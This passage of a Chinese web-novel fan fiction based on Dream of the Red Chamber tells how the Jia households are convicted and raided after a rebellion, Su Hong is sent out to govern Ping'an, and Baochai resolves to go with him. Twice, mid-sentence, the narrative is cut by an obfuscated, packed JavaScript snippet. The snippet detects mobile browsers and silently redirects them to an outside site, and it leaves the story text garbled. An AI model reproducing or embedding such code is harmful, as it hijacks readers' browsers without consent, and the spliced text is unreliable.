宝钗见她双眉紧蹙，一派关心今上安慰的模样，心里一突。她坐在床边低声说道：“娘娘，反贼俱已被擒拿，现都压在天牢听审。今上及各位娘娘已摆驾回宫，一切安好。” 元春闻言感到意外，有些费力地抬头看向宝钗。她虽说只有省亲时与薛家表妹有一面之缘，然而母亲等入宫时也会提及这位薛家表妹，说她品格端方，娴雅大方，是个知道分寸懂规矩的大家闺秀。 虽说情况混乱，但自己已然是贵妃，无论生死都该在皇家，论理她一个两姨姊妹不该管她的死活。不管，就不会有事。若是管了，反倒生了几张嘴都说不清，给自己带来一身麻烦。 如今跟前只有宝钗一人，不外乎有人以为自己死了，怕朝廷倾覆后自己的尸体流落在外，特意为自己收尸。只是没想到自己命大，被砍了几刀，又被毁容，竟还能活下来。 她费力地抬手摸了摸脸颊上被包扎住的伤口，咂摸着口中的苦涩药香，笑着道谢：“多谢薛妹妹救命之恩。若放任我在外头，想必是早已活不成的。” 她在宫里举步维艰，空有位份，却没有能与之匹配的宠爱和尊重，更没有子嗣。方才在轿中，又是被吴贵妃推下，假死后又被皇后亲口下令毁容，便是能活着回去，也不过是以贵妃之礼下葬罢了。 宝钗见她说的是真心话，便摇头道：“现在这样也叫人难办，娘娘可想到日后该怎么办。” 户籍好说，都是内宅女子，也没谁闲着没事过来清查。等真要清查时，也不在乎有没有藏匿来路不明女子这一桩罪过了。只是贵妃本是为家族荣耀入宫，如今虽然活了下来，也不知她心中是何感想。 元春看出她的心事，苦笑道：“我在深宫无宠，连今上的面也见不到，还谈得上什么家族荣耀。如今出宫也好，今上念在我死得不明不白的份上，也许会抚恤家族，不枉我入宫一场。日后也不要叫我贵妃，只叫我姐姐吧。” 自她封妃后，家族也像是看到了光耀门楣的希望，在官场中比以往活跃太多。只是结交的外官再多、势力网织得再强，自家子弟不成气候，连个正经科举出身的都没有，终究没有什么底蕴。 如今她阴差阳错出宫，虽说让家族彻底没了指望，但似乎也算不上坏事。但愿家族听到消息后能趁早收手，说不得还有一线生机。 宝钗见元春想得开，便将自己与苏鸿商议好的说辞告知元春。元春默念两遍，记在心里中才点头答应。到晚间，宝钗才与苏鸿一起，套了车将元春送到苏家隔壁的宅院，又安排人在这里照顾元春。 苏父和苏母见苏鸿回了句话就带着宝钗出去半日，也摸不着头脑。苏鸿不想父母担忧，便并未说出实情，只说是薛家的远亲因为被休，临时接了消息才去帮忙安置。 一连几日，尽是风平浪静，苏鸿和宝钗见果然无事发生，元春又将自己的身份瞒得很好，便也放下心。唯有贾家听说贵妃薨逝后，都觉天塌地陷一般。王夫人几近哭死，贾政亦心情郁郁，却也于事无补。 谁知刚平静不过几日，又是一颗惊雷炸响——三司严刑拷打下，这些人的来历早已被吐露干净，都是昔年遭灾、未曾得到救济的灾民。 其中，便有十余人是因平安州主官奉承京官、迎合权贵，自家土地房屋被劫掠一空沦为佃农。至于幕后主使，这些人也说不出一二三来，只知道主家收留他们、供给衣食，帮他们娶妻生子。 苏鸿一听此事涉及平安州，右眼皮子直跳，心道大事不妙。若他没记错，《石头记》中，贾赦便数次派遣贾琏前去平安州，不知做什么勾当。只是不管贾家在其中扮演什么角色，便是并非贾家主使，沾上也别想平安落地。 今上得知反贼中有一部分来自平安州，又说是被当地主官逼反，一时大怒，当即下令严查。贾政虽在朝中为官，但他却不知贾赦和贾琏私下的勾当，两房又关系紧张，因而竟并未将此事与大房的人说起。 因而十几日后，忠顺王便带着一群官差忽然上门，羁押贾赦、贾政、贾琏时，阖府上下都觉措手不及，不知家中到底犯了什么事。邢、王两位夫人急得没头苍蝇一样，待要打听，却一时没有可差遣的人手。 薛太太见状，少不了叫薛蟠、薛蝌拿着银子到刑部衙门上打听打听，好歹知道是否要紧，是不是要命的事。只是却打探不出来，那些胥吏收了银子就撵他们走，还嚷嚷着叫别沾染这事。薛家心知不妙，定是犯了大事。又想到前些日子的造反一事，更觉心惊肉跳。 宁府那边见荣府出事，却不同于薛家兄弟俩的懵懂，贾珍心中一清二楚，定是荣府那边结交外官、收取贿赂的事暴露了。此类事贾珍亦未曾少干，只是眼下宁府的事未发，他更不敢强出头，免得又叫人注意到宁府。因而脖子一缩，随意找了个借口便闭门不出。 王夫人见这样的大事，本家人不出头，反倒是外姓的为他们奔走，一边心灰，一边焦急。她是年过半百的人了，如今不光丈夫在牢里不知生死，膝下的三个子女已经没了两个，唯有宝玉尚且活着。一旦他们父子俩出了事，叫她后半辈子都没了活路了。 因荣府还被官兵团团围住，他们贾家的人出不去也进不来，可谓人心涣散。王夫人别无他法，除了安抚众子女儿媳外，也唯有日日以泪洗面。薛太太也没想到荣府会有今日，更没想到她们姊妹两个这样的年纪，竟还有这般磨难，也唯有伤心。 谁知这还不算完 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因而待官兵们把把她们撵出来后，尤氏见荣府亦被官兵把守，也无法求救。便只好叫贾蓉带着她们找个落脚的地方，好歹安顿下来。她们没了车轿，也没有仆从围随，竟是被沿街百姓大模大样瞧见，心中都觉羞愤。 百姓们也难得瞧见这个稀罕，纷纷指点着笑起来，又胡乱说几句贾家是犯了什么事。便有人笑道：“独他们两家霸道，这个街都叫宁荣街。他们两府乘车往来时，可都要把咱们远远撵走，连个影子也不叫看。这会儿被查抄，真是活该。” 荣府人虽被困在府内不能进出，但寻常派人买些菜蔬粮米、或是跟官兵打探一二，还是能知晓外头的事。听见宁府那边的动静，一众太太奶奶们也都被抽干了心气儿，惊惶不定。 王夫人哭道：“不得了了。宁府被速速裁决，咱们却没有半点动静，犯的事想必更大、更要紧。宝玉，你父亲和你哥哥平日里可有说些什么？” 贾宝玉素日厌恶仕途经济，又不常与大房那边往来，哪里知道究竟发生了什么。因而事事不清楚，急得面色青红，却连句话都说不出来。 王夫人暗暗垂泪，心道因着贾母疼爱，她又因珠儿的事在先，总狠不下心管教。现在儿子成了只知道风花雪月、诗词歌赋的主儿，未来还有什么指望。转头看见黛玉身体怯弱，坐在那里咳嗽。想到宝玉兴许连妻、子都不能照管好，不由更恨他不成器，又恨自己没能管好儿子。 苏鸿和宝钗自从听闻贾家事发，因心知肚明跟造反有关。他们一时没什么好办法，只知贾赦和贾琏是必定没了活路，贾政素来持身以正，又是刚刚薨逝的贵妃生父，许是还有一线生机。 苏鸿和薛蟠不敢干涉三司判案，只好又打点大牢上下，指望他们在牢里好过些。薛蟠又塞了银子，悄悄进牢房探望，见往日衣着规整的姨父不过入牢几日就变得衣衫褴褛、蓬头垢面，不由十分心酸。 60.樯木 贾政被压在牢房中，多日无人看望，又不知发生了何事。猛然见亲戚来此，只觉喜出望外，连忙扶栏询问。 薛蟠悄声道：“姨父，长话短说。宁府已经完了，被人参了一本引诱世家子弟赌博、结交外官等，今上勃然大怒，已革去宁府世职，抄没家产。荣府……我们实在打听不出来原由，只知道跟大老爷那边有关。” 他犹豫片刻，说道：“外面都在传，是跟祭天的事有关。近日，平安州上下因为虐害百姓，结交京官，都陆续被问罪。我想着是不是府上跟平安州有些交集，才被牵连了。目下家里一切都好，虽说被圈起来，但一应粮米尚能供给。” 他终究没把御史参宝玉作《姽婳词》蔑视朝廷的话说出来。比起大房的事，这实在不值一提。若叫姨父知道自己心心念念让宝玉在上头露脸，反而给自家惹祸，心里定然不好受。 何况老师说今上也没说什么，想来虽心里不舒服，但谁不知宝玉是个纨绔、爱红的公子，哪里会认真计较他的言论。只要大房的事姨父不曾掺和，二房许是尚能保全。 贾政闻言大叹一声，掉起泪来，哭道：“早知今日，一应家计我自该留心，不至于到今日一无所知。幸而有你在外帮忙打探，不然我还不知究竟是何祸事。这是贾门之祸，怕是无力回天，只是愧对祖宗。” 薛蟠闻言，又宽慰几句，见牢头来赶人，才连忙离开。只是离开前，又好声好气给牢头塞了十两纹银，笑道：“兄弟们辛苦，这点钱请兄弟们打酒吃，劳烦兄弟们看顾些。” 牢头掂了掂银子，笑嘻嘻道：“好说好说。你赶紧走吧，别叫大人们来巡查撞见了，不然我们也要吃挂落。” 薛蟠又殷殷叮嘱几句，方出了牢房。他家中拮据，如今用的银子不过是省吃俭用拿出来的，打点人也不敢小气。如今牢房里的人，不过是看姨父还有亲友探望、愿意打点才肯照顾些，若连自己也不来，还不知他们要如何磋磨。 他叹了口气，心说大房的事，总不能叫二房也无辜受累，便上苏家找苏父商议。苏父素知贾政此人，年轻时虽也是诗酒放诞，但为官后却并没有寻常权贵以势压人的习气，也不曾听闻他结交外官。每日下衙，也不过跟门客谈论时事、学问。 从薛蟠嘴里得了准话，他便说道：“论理，这也不是贾家主使，但终究牵扯出平安州，又牵扯到贾家结交外官、以权谋私。虽说分房别居，却也同出一贾，不是随意就能撇清关系的。如今出了这样的事，世职和府邸便不必再想，只能想着如何保全你姨父的性命。” 薛蟠忙道：“老师这话很是，我们也不求其他，只要保下命来便感戴天恩了。都说金钱开道，我们姨父家也挤出几千两银子。只是现今想去打点也求助无门，还请老师指点。” 苏父思忖片刻，说道：“我岳父现任兵部侍郎，为官多年，在刑部和大理寺倒是能说得上话。贾家也得罪了内相，现今也要打点，不指望他出手相助，好歹别拖后腿。倒是都察院，如今换了一茬人，是今上的亲信，不敢贸然试探。” 苏鸿便道：“贵妃娘娘刚刚薨逝，便是做样子，也不当严惩贾姨父才对。何况先前姨父被点了学政、又赈灾一趟，没有功劳也有苦劳。论起来，今上也不至于对姨父如何才对。” 苏父摇头道：“这都是说不准的事。国库的情况你也知道，户部上下为了银子头发都愁白了。贾家因为欠银的事，两房都几乎闹翻了，还是没把欠银还上，今上岂有不恼的。主犯是大房，打点了三司，再跟大房父子说好叫他们认下，想必就能混过去。” 现今这世道，一旦犯事，不用银钱铺路开道是没法子脱身的。他又叮嘱道：“事已至此，虽说还欠银会得罪旁人，现在也顾不了许多了。亡羊补牢，为时未晚，也该叫今上瞧见你们的诚心。我明日约着大理寺和刑部的大人吃饭，你也混个脸熟。” 薛蟠闻言便应下，又跑到牢房与贾家三人商议后，便至贾家将此事告知邢、王二位夫人。她们无法，听贾赦贾政同意如此，便将早已准备好的十万两白银送至户部还款。 消息传出去，又有几家被贾家遭遇吓破胆子的以为是贾家不还欠银被今上拿来开刀。虽暗恨贾家顶不住压力，却也连忙筹款还银。户部尚书压力骤减，又收了苏父的孝敬，便也乐意在今上面前说些贾政的好话。 今上见无意间有这样的效果，虽仍旧厌恶贾赦、贾琏结交外官，到底想起贾政昔日的功劳。恰逢三司秘密汇报造反一案，幕后主使竟指向被废的义忠亲王一脉。而打出的旗号，则是昔日太上皇上位时陷害兄弟，不仁不义。又言说今上刻薄寡恩，在位时天灾频发，俨然并非仁君。 义忠亲王是昔日太上皇的兄长，原系嫡长，文武双全，亦是当年呼声最高的储君人选。只是不知因何触怒其父，正当盛年就被废了亲王之位。太上皇继位后为彰显仁德，特意封其子为郡王，只是将其拘在京中不得出京。 今上心生疑窦，区区一个郡王，朝廷拨给的银钱都是定例，哪里来得银钱蓄养这么多人。便是算上皇祖母和义忠王妃的遗产，也不可能超过四万两现银。他虽知郡王有谋反的可能，但此事显然仍有可疑之处，因而并不急着发落。 谁知郡王风闻此事，素知今上多疑，三司将此事一报，不管是不是自己，最后都会把锅扣到自己头上。他不及多想，赶在今上下令前卷了金银细软，与王妃、儿孙商议后便要分头出城潜逃。 若论防护最严格之地，不外乎京城。出了京城，只要有银钱开道，伪造路引不过小事。到王妃老家缩头待上几年，等风声不紧，装成商户便是。 今上本有疑虑，如今见郡王一家得知事发要逃命，便不疑有他，连忙下令捉拿。因造反一事才发，京中戒备森严，郡王一家竟也不曾逃出多远，在京郊便被捉回。郡王一家被下了大狱便是严刑拷打，郡王不堪重刑，在狱中自尽身亡。 今上也没料到郡王会自尽，暗骂大牢的人都是蠢货，竟下如此重手。事已至此，今上怕旁人说他排除异己，幕后主使不是郡王也得是，因而很快下旨申饬郡王结交外官、笼络刁民谋反，现已畏罪自尽。 不止如此，郡王一脉尽皆废为庶民，圈禁宗人府永不得出。又将郡王妃娘家以挑唆造反为名，从上至下均被革职抄家。此时闹得满城风雨，又涉及皇家，因而文臣武将均闭口不言。 因郡王背了谋反的黑锅，三司又都收了贿赂，因而便不曾再提贾家此项罪名。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468629|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待今上下旨次日，便将贾门犯法违礼的证据一一呈上，其中引诱世家子弟赌博、结交外官、恃强凌弱等几项罪名尽皆铁证如山。今上不过略翻两下，便下旨夺爵抄家。 其中贾珍、贾赦及贾琏因勾结外官，正好触及今上担忧京官、外官勾结谋反的心事。原要砍头以儆效尤，但念在其祖上功德及归还欠银及时，便只判其发配边疆，特意下令遇赦不赦。至于贾政，因其并无大错，贵妃又死得不光彩，便只革职归家。 至于平安州一干外官，今上暗想，官逼民反，尽管民是刁民，但这些官也都是无用之人。无用之人不必再留，又给他惹来这样大的祸事，让他将脸都丢尽了。三司又查实平安州上下虐害百姓，致使百姓流离失所。 他便御笔一挥，判知州、州丞二人斩首，其余人等鞭刑五十，革职抄家。除却他们外，连上面知府、巡抚也被今上申饬未能监管平安州上下。 京中整个八月、九月尽皆不太平，血腥气月余方散。因着一连抄了十几家，各地赋税又陆陆续续运往京城，现今国库充盈，今上的心情也好了许多。只是平安州官员极为欠缺，连胥吏也被先前的官员牵连，眼下群龙无首。 平安州才遭了事，谁都知道那里百姓对官府极为不服，又早被上一任剥削民脂民膏、蛀空了。不仅没有油水可捞，去了之后也会举步维艰，又被上头盯得死死的。别说进士，一些有门路的举人都不愿意前去，托了关系等更好的缺。 苏鸿得知此事，倒是犹豫不决。京中的形势他算是看明白了，指望留在京中享受高官厚禄，不死命巴结上官是行不通的。今上跟太上皇也无甚差别，甚至不如太上皇前期善于提拔能臣、有一番干事创业的心气。 已知此路不通，在京中无非是消磨时间，也无甚大用。倒是外放去做地方官，有父亲和外祖父、舅舅在京为官，自己也不至于太过被动，反倒能实现自己的一腔抱负。 只是不待他细想，忽而有人状告薛家曾与义忠亲王一脉勾结，暗中支持郡王谋反。具状人写得有鼻子有眼，甚至提到薛家木铺中藏有昔日给义忠亲王预备的樯木板，直指薛家拥戴义忠亲王之心。 薛蟠被都察院拿去时只觉天崩地裂，连忙上前陈事。谁知因都察院现今都是忠顺王的人，哪里肯买薛家的账。因而毫不理会，借口干系重大，直接将此事递了折子捅到御前。 旁人尚可袖手旁观，独苏鸿是薛蟠的妹夫、苏父是薛蟠的老师。虽说梅翰林亦与薛家有亲，但因薛家此时没了官身，早已想着退婚一事，哪里还肯与薛家结亲。眼下薛家朝中无人，苏鸿便也顾不得许多，趁夜拜访内相求情。 戴全并非好相与之人，素来只认银子不认人。见此情景哪里还有不捞钱的道理，便笑眯眯应了。只是戴全见苏家位卑职小，并不上心，旁人又见涉及义忠亲王一脉，不敢擅自做主，因而折子仍旧流到今上桌前。 今上见此，心说薛家没落，义忠亲王一脉也彻底倒台，再也没有威胁，便也并未心生警惕。只是想到有人觊觎皇位、胆敢惦记从龙之功，心里便不甚痛快。他欲要发落，戴全便笑道：“如今薛家无人，唯有这薛蟠的妹夫在朝为官，正是今科状元。今上不妨听他一言，再发落不迟。” 61.外放 今上听戴全此言，就知苏鸿和薛蟠是给戴全送了银子。他似笑非笑看了戴全一眼，念在他劳苦功高，又在司礼监根基深厚的份上，便点头答应。苏鸿早有准备，听今上召见便连忙整衣敛容入见。 苏鸿入殿后，低眉顺目，规矩礼仪无一处可挑剔，又叫今上想起昔日国子监初见时的风采。今上高坐龙椅，垂目问道：“今日朕召见，想必你已知道是何事了？” 苏鸿垂手道：“微臣不敢妄加揣测，还请陛下明示。” 当即便有小太监将参奏薛家的折子取来，递给苏鸿看。苏鸿恭敬齐眉接了，方展开去看。轻扫一眼，见果然是都察院上奏，便接着细看，除樯木板外倒也没有别的实证，便松了口气。 不过三五息，他便抬手将折子呈给太监。跪启道：“陛下，薛家上下忠心耿耿，天地可鉴。内兄数次与臣私语，虽被革除世职，数家皇商中唯薛家躲过抄家的祸事，实乃陛下垂念，皇恩浩荡。只恨如今只是寻常商户，并无稀世奇珍，不敢再献宝于前。都察院大人上奏此事，想来是此事干系老千岁，虽知此为子虚乌有，但仍不敢轻忽。” 今上听他三言两语，先说薛家忠心，又说都察院上奏不是怀疑薛家参与谋逆、只是因为干系重大不敢自专，不由暗笑苏鸿此人圆滑。只是想到他强调薛家不能再献宝于前，便又想起薛家先前献上制镜法的功劳。 今上便道：“依你看，薛家勾结皇亲竟是无稽之谈了？” 苏鸿便笑道：“薛大人过身时，臣不过小童，自然不知薛家是否勾结皇亲，因而不敢胡言乱语。只是薛家虽为朝廷采办杂料，然而自有买卖铺子。老千岁为身后事考虑，要用樯木为棺，也是合制。后来薛家不曾得银子，这样的东西也不敢轻易出手，自然就积压在手里。二者不过买卖关系，怎能说是勾结。” 他面上虽笑，心里却十分紧张。此事毕竟没有实证，要如何处置端看今上心意。他这样说似是合适，但樯木板何其难得，薛家若是不想巴结讨好义忠亲王，何必巴巴儿忙活几年。 今上定定看了苏鸿几眼，忽而转变话题，气定神闲道：“听苏卿家一言，倒是叫朕茅塞顿开。先时，苏卿家曾言治天下应优选贤才，尤以地方为重。朕日思夜想，确实是一良策。如今平安州知州空缺，朕有意选派翰林充任，卿家以为如何？” 苏鸿心跳一顿，明白了今上的言下之意。他敢为薛家担保忠诚，自己也要是头一等的忠臣良才。如今今上有难题，他这样的忠臣若不上赶着解决，无论如何也说不过去。 他顿首拜道：“臣听闻平安州一带，虽系鱼米之乡，却饱受水患之苦，又遭不法官吏虐害，久经困苦。臣及家人感沐皇恩，自当兢兢业业勤谨奉上。臣自荐前往平安州，替陛下广施恩德雨露，还望陛下恩准。” 今上笑道：“苏爱卿果然是国朝忠臣，能急朕所急，忧朕所忧。既如此，朕也不好忤逆盛情。只是苏爱卿的品级和俸禄……” 他把气撒在苏鸿身上后，心里倒也舒畅许多。只是本朝除贬谪外，还没有将状元丢到州县去做地方官的先例，苏鸿现任修撰，是从六品。若是调任平安州知州，便是正七品。 苏鸿并无过错，只是跟薛家有些牵扯，而薛家究竟有无意欲从龙之功也是未知数。今上倒不怕苏鸿不服，只怕自己贸然如此决定，让旁人暗骂自己刻薄，也给那些素好谏言的清流文官递了梯子。 苏鸿正要说话，戴全便笑道：“陛下说笑了，前朝便有不到地方为官者，不能入阁为相的规矩。陛下叫苏修撰出京历练，也是期盼成才的意思，谁会误解陛下的苦心呢。若陛下过意不去，奴才倒是有个主意。” 今上与苏鸿闻言，都看向戴全。戴全方笑道：“除顺天府和应天府外，其余府、州县品级相当，不可轻易变动。但除却官职外，也可加文散阶。陛下为表重视，授苏修撰正六品承直郎再外放不迟。” 虽说如此，虚衔和实职、地方官与京官又岂能相提并论，不过是让苏修撰离京时面上好看些罢了。今上已决意把苏鸿外调，倒也不在意苏鸿的脸面。但这样一来，对外说自己为平安州点派京官，却显得自己面上有光。 今上龙颜大悦，当即命执笔太监传旨，将苏鸿迁为平安州知州的同时，授其承直郎虚衔，享正六品俸禄。一应官服、官印等，亦以正六品规制为准。 苏鸿心头虽早就萦绕着外放的想法，但却没想到这天来得这样快。屈指算来，他在京为官也不过一年半，就要外放出京了，而且还是平安州这个是非之地。 他领旨出宫，这个消息便像风一样传遍朝堂上下。苏父及苏鸿的外祖父等人颇觉诧异，没想到好好的翰林，说贬就贬了。自古翰林官出翰林，都视为升迁的前兆，苏鸿这个今科状元倒是反其道而行之。 待苏鸿归家时，苏父、苏母都放下了手头事，在家中等候。宝钗则镇定自若，吩咐下人打点行装，欲要与苏鸿一同赴任。 苏鸿见父母都在等候自己，知道是自己的事让他们担心，心中不免有些许惭愧，连忙上前磕头。苏父因问道：“圣旨一下，再无回转余地，须得一月内到任。你御前奏对到底说了什么，叫今上明升暗降把你外放出京。” 苏鸿便道：“先前有人弹劾薛家勾结义忠亲王，这项分明无稽之谈，我也打点了内相等人。只是内相并未上心，仍叫今上看见了折子。在御前，并非是儿子说了什么，实是有人在其中挑拨是非，意欲构陷薛家。今上本就忌讳这样的事，见我为薛家说话，自然看不惯我。” 苏父便冷笑道：“咱们打点的银子才有多少，内相岂会看得上这点银子，自有人上赶着给他送。身在官场，瞧上官和今上的脸色也是在所难免。为薛家说话，得罪人便得罪了，除了谋反哪有砍头的。” 他对薛家是否掺和夺嫡一事同样心存疑虑，但同样是那句话，薛怀和薛愉都已经过世了，事情的真相也唯有他们二人知晓。可亏得薛蟠是个傻的，他若是聪明，只怕上一次抄家的祸便躲不过去。 苏母也知薛家富贵惹人眼红，何况几家皇商被查，唯有薛家不曾被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471945|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抄家，自是让不少人暗恨。虽说此举连累苏鸿被外放，但他们一家老小的性命都是薛怀给的，又岂会计较这些。 她只是忧虑，平安州并不平安，相反局势十分复杂。苏鸿今年不过刚满二十，官场阅历不足，又如何应对地方上的蝇营狗苟。便是一州主官，上头也有知府、总督、巡抚等几层上官要应付，谈何容易。 苏鸿见母亲眼圈儿都红了，连忙上前安慰，笑道：“母亲莫要着急，这也是儿子一直在心里盘算的事情。在京中，处处都是达官显贵，有益于国、民的正经事没办几件，只学了削尖脑袋打点行贿。我好歹是一州知州，平安州又刚被今上犁过一遍，岂不正适合叫我施展拳脚。” 听他所言，苏母只笑道：“你惯会说好听话。到了平安州，跟京中可谓一个天上一个地下，等你安顿下来，瞧你还逞强不逞强了。” 苏鸿也不好多说什么，只一味安慰母亲自己无事，又说宝钗会将行装打点周全，他们在外不会吃苦。圣旨已下，万没有抗旨不尊的道理，苏母也唯有心疼叹息。 只是又嘀咕几句，说道：“你赴任的行程太赶，宝丫头到底是女子，不比你身强力壮。而且平安州局势不明，又不比京城繁华。不如暂且叫宝丫头留在京里，等你那边稳下来再送她过去。” 她还有些不好明说的顾虑。当初她和苏理二人，是因她身体不好才迟迟未有子嗣。寻常夫妻，成婚一年半载，总该有个消息。他们夫妻俩又如胶似漆的，说不得宝丫头已经有孕了，只是未曾诊出来。 这样急匆匆上路，若有个闪失，他们如何对得住薛怀夫妇，又如何对得起宝丫头。她年轻不知轻重，他们做长辈的总该存个心眼，别叫她熬坏了身体。 苏鸿听母亲意欲扣下宝钗，心中满是不情愿，但也知道母亲考虑周全。他一时拿不定主意，正要说回去和宝钗商议时，宝钗便已遥遥走了进来，笑道：“母亲不必多虑，正该我与安和同往，替他分担，岂能这会儿临阵脱逃。” 她进了房内，给苏父、苏母问安后，方坐到苏鸿身边。她笑道：“正因平安州局势复杂，安和要留心外头的事，却不知里头也容易被钻空子。他一人过去未免精力不足，我去了也能叫他安心操持平安州政事，不必为内宅及生活琐事费心。” 苏母闻言亦觉有理，只是视线不自觉划过宝钗的小腹，仍有些犹豫。苏父便笑道：“宝丫头一心向着鸿儿，我们做父母的只有高兴。只是你到底身体弱些，不如叫蟠儿护送你慢慢过去，省得赶路。” 宝钗笑着谢过苏父好意，又是一番劝解，言辞尽皆在理，十分恳切。苏父、苏母见宝钗如此坚决，反倒不好再劝，只好随他们去了。宝钗虽注意到苏母的视线，略一想便知苏母在担心何事，一时也不知该如何解释。 他们除洞房那晚外，其余房事虽密，却尽皆用了羊肠套悄悄避孕。苏鸿当日说她年纪太小，太早要孩子有损身体，因而主动提出避孕。宝钗博览群书，对此也有所涉猎，知道苏鸿是为自己着想，哪里有不应之理。 62.告别 只是他们避孕一事虽非刻意隐瞒，但这样的事由岂好跟公婆开口。因而宝钗回房后，才与苏鸿提起苏母的顾虑。苏鸿闻言便道：“这也不必着急，回头就跟母亲说请了大夫看过就好。” 宝钗见苏鸿并不在意，便也并未再提，抿唇一笑便坐在窗前。苏鸿见她似有心事，便上前问道：“你怎么看着恹恹的，难道这样喜欢孩子，瞧我避孕不高兴？” 宝钗转身看他，眉宇间确实是少见的愁态。她不由叹道：“进士虽有外放的，却也是从知府做起，哪有好好做着京官，就外放去做知州的。是我牵连了你，你却并不介意，让我更过意不去。” 平心而论，苏鸿作为夫君，待她可谓情深义重。若换做旁人，别说担忧她损伤身体主动避孕，恨不得她嫁进来便开怀。更别提薛家的状况，直接将她休弃都不在话下。 苏家却浑不在意，哪怕苏鸿因薛家之事被贬官外放，在她面前也从不提及此事，对她一如既往。只是他们不提，她又岂不知是被薛家牵连。苏家越不在意，她反倒心中难过。 苏鸿听宝钗竟是因此伤怀，失声笑道：“宝卿素来豁达宽宏，怎么到自己身上就纠结起这些小事来了。若换做苏家被问罪，你不同样会留下来共患难吗？既是夫妻，自然该同心同德、互相扶持。薛家的事，说到底是小人挑拨，若夫妻离心，才真是中了那些小人的计谋了。” 说着将宝钗抱入怀中，见她面颊微红伏在心口上，心里软成一团。他真心实意道：“我并未多少为官的经验，真从知府做起，反倒不能体察民情。这样想来，官位品级倒是其次，积累经验、为民造福倒是头一位。若果真出了成绩，也不愁继续往上升。” 当然，前提是有门道，能让吏部的人给出上等考核。但京中尚有父亲和外祖一家在，他又不曾认真得罪陛下，打点得当，未来能回来的可能性不小。何况苏鸿身带重宝，在京中不得施展，到地方上反而另有一片天地。 宝钗闻言，便也放下心事，转而说道：“眼下妈和哥哥都在东街那边住着，咱们要走，总得跟妈和哥哥说上一句。我还想着，等咱们在平安州站稳脚跟就将妈和哥哥一同接过去。哥哥先前便说想出去行商，只是因发生这样多的事，迟迟不曾离开。等挨过这段日子，哥哥还是要出去，留妈一人在京城我有些不放心。还有大姐姐，也说不随贾家一起，要跟我们到平安州去。” 苏鸿自觉没什么为难的，虽说在平安州人生地不熟，但那边早因今上震怒，从官员至乡绅都被查了一遍。虽说仍有漏网之鱼，但比起别的地方盘根错节，这里已经很好调理了。 二人计议已定，便命人套车去了东街薛家。 近日因薛家被人状告勾结皇亲，薛蟠也不好贸然外出，知道苏鸿在帮他走关系通融，便待在家中等消息。谁知白日先是接到都察院的消息，上头批示无实证，不受理此状。薛蟠本是欣喜，却又听那传话的青衣说苏鸿被外放，一时坐立难安。 因而苏鸿与宝钗到薛家时，薛蟠和薛太太都在家中等候。夫妇二人见礼后，宝钗便说道：“妈，朝廷下令，命安和至平安州任知州，限一月到任。我和安和商议，要同他一起过去。” 薛太太未及问话，薛蟠便忙道：“是不是为咱家的事求情，叫今上不高兴了？” 苏鸿见此，便说道：“大哥不必担心。叫我外放，也是今上想着平安州无人主政，不敢随意点旁人过去。今上又赐了承直郎，一应品阶待遇比现在还高了半级。未来出了成绩，再谋前程就是。” 薛蟠又叹又笑，一时也不知说什么好，拉着苏鸿的手絮絮叨叨说些感激的话。苏鸿说了几句宽慰的话，又道：“这都是有小人盯着，意欲挑拨是非，大哥不必挂心。这一桩过去，他们再想状告也立不住脚。” 薛太太早搂过宝钗，见她情绪仍旧十分平和，俨然并未受委屈，心里十分宽慰。听女婿这样说，她也不好再说那些感激的话。想到宝钗方才所说她要一同前去，却有些发愁。 她一边命人上了热茶，一边又叹道：“你姨妈家遭此大难，预备回金陵修生养息。你们也要离京，回头在京中除了你婆婆和你甄伯母，也没有旁人可以来往了。” 自宁国府和荣国府被抄家后，王夫人便带着女眷们另寻了一套她嫁妆里的三进宅子住下。现下两门中，贾赦、贾珍和贾琏都被流放，有生之年能否遇赦回京还是两回事，因而两门便合住到一处，主事人也唯有贾政。 因家计困难，贾政和王夫人便做主遣散了大部分的下人奴仆。大房的侍妾，也被邢夫人做主遣散，只是因贾琏休弃王熙凤后未曾娶亲，便留了贾琏的侧室尤氏来照料巧姐儿。 王夫人虽对大房有些芥蒂，但眼下大房能顶事的贾赦和贾琏都被流放，虽有贾琮，也还是小儿，因而对大房面上也过得去。倒是凤姐，在家郁郁许久后竟见贾琏被流放，巧姐儿留给尤氏照料，心中反倒高兴起来。 她虽说被休，但贾琏一走，自己又是巧姐儿生身母亲，自然也不必再避着不见。又因听了两位姑妈的劝，没对尤二姐下手，平儿对尤二姐又很是照顾。如今住到一起，尤二姐又是面软温柔的性子，对王熙凤又是如往常一般尊敬退让，以妹妹自居。 贾家昔日鼎盛繁华时，虽是一家子骨肉，却不见多少亲情。如今落难，反倒是感情更进一步，叫薛太太心中唏嘘不已。只是她也发愁，王家和贾家都离开京城，独她在京中也没什么意思。 宝钗闻言，便说道：“妈，哥哥先前也想着外出行商，到时候你和琴丫头在家，我们也放心不下。我与安和商议，等我们在平安州站稳脚跟，就接你们到平安州度日。一来叫我和哥哥放心，二来……离了京城，也能少许多是非。” 他们家不能再出现什么波折，那些被抄家的皇商，家中也仍有一二得力的亲友。薛家虽也有苏家帮扶，但苏家并不如勋贵那般在蝇营狗苟中如鱼得水。哪有千日防贼的道理，既如此，还不如暂且躲开。 薛太太闻言很是心动，她看了眼一旁安静坐着的宝琴，低声叹道：“你妹妹本是许给梅家，只是咱 